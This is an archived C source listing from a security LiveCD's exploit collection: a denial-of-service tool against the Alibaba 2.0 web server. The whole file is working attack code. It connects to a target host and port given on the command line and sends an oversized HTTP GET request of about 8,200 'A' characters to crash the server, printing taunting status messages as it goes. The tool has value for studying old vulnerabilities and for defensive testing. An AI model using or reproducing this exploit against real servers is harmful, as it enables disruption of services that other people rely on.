home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / alibaba / AlibabaDoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  92 lines

  1. /*
  2.  
  3.  Description: DoS against Alibaba 2.0 WebServer by wildcoyote
  4.  Comments   : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
  5.  Platforms  : Alibaba runs on Win95/98/NT
  6.  Flamez to  : wildcoyote@coders-pt.org
  7.  
  8. */
  9.  
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14. #include <unistd.h>
  15. #include <string.h>
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <unistd.h>
  19. #include <errno.h>
  20.  
  21. int 
  22. openhost(char *host,int port) {
  23.    int sock;
  24.    struct sockaddr_in addr;
  25.    struct hostent *he;
  26.       
  27.    he=gethostbyname(host);
  28.    
  29.    if (he==NULL) {
  30.       perror("gethostbyname()");
  31.       exit(-1); }
  32.    
  33.    sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  34.     
  35.    if (sock==-1) {
  36.       perror("socket()");
  37.       exit(-1); }
  38.     
  39.    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  40.    addr.sin_family=AF_INET;
  41.    addr.sin_port=htons(port);
  42.  
  43.    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
  44.       sock=-2; } 
  45.     
  46.    return sock;
  47. }
  48.  
  49. void 
  50. sends(int sock,char *buf) {
  51.   write(sock,buf,strlen(buf));
  52. }
  53.  
  54. void 
  55. DoS(char *host, int port)
  56. {
  57.  int sock,i;
  58.  char *buf;
  59.  printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
  60.  printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
  61.  sock=openhost(host,port);
  62.  if(sock<=0) {
  63.      printf("- Could not connect -\n");
  64.      printf("Exiting...\n\n");
  65.      exit(-1);
  66.  }
  67.  else printf("Connected to %s (%d)\n",host,port);
  68.  printf("Allocating memory for DoS\n");
  69.  buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
  70.  strcpy(buf,"GET ");
  71.  for(i=5;i<8198;i++) strcat(buf,"A");
  72.  strcat(buf,"\n\n");
  73.  printf("Oh k! Sending CRASH!\n");
  74.  sends(sock,buf);
  75.  close(sock);
  76.  free(buf);
  77.  printf("Crash sent! The host *probably* crashed :P\n");
  78.  printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
  79. }
  80.  
  81. main(int argc, char *argv[])
  82. {
  83.  int sock,i;
  84.  if (argc<2) {
  85.     printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
  86.     printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
  87.     printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
  88.  }
  89.  else if (argc==2) DoS(argv[1],80);
  90.       else DoS(argv[1],atoi(argv[2]));
  91. }
  92.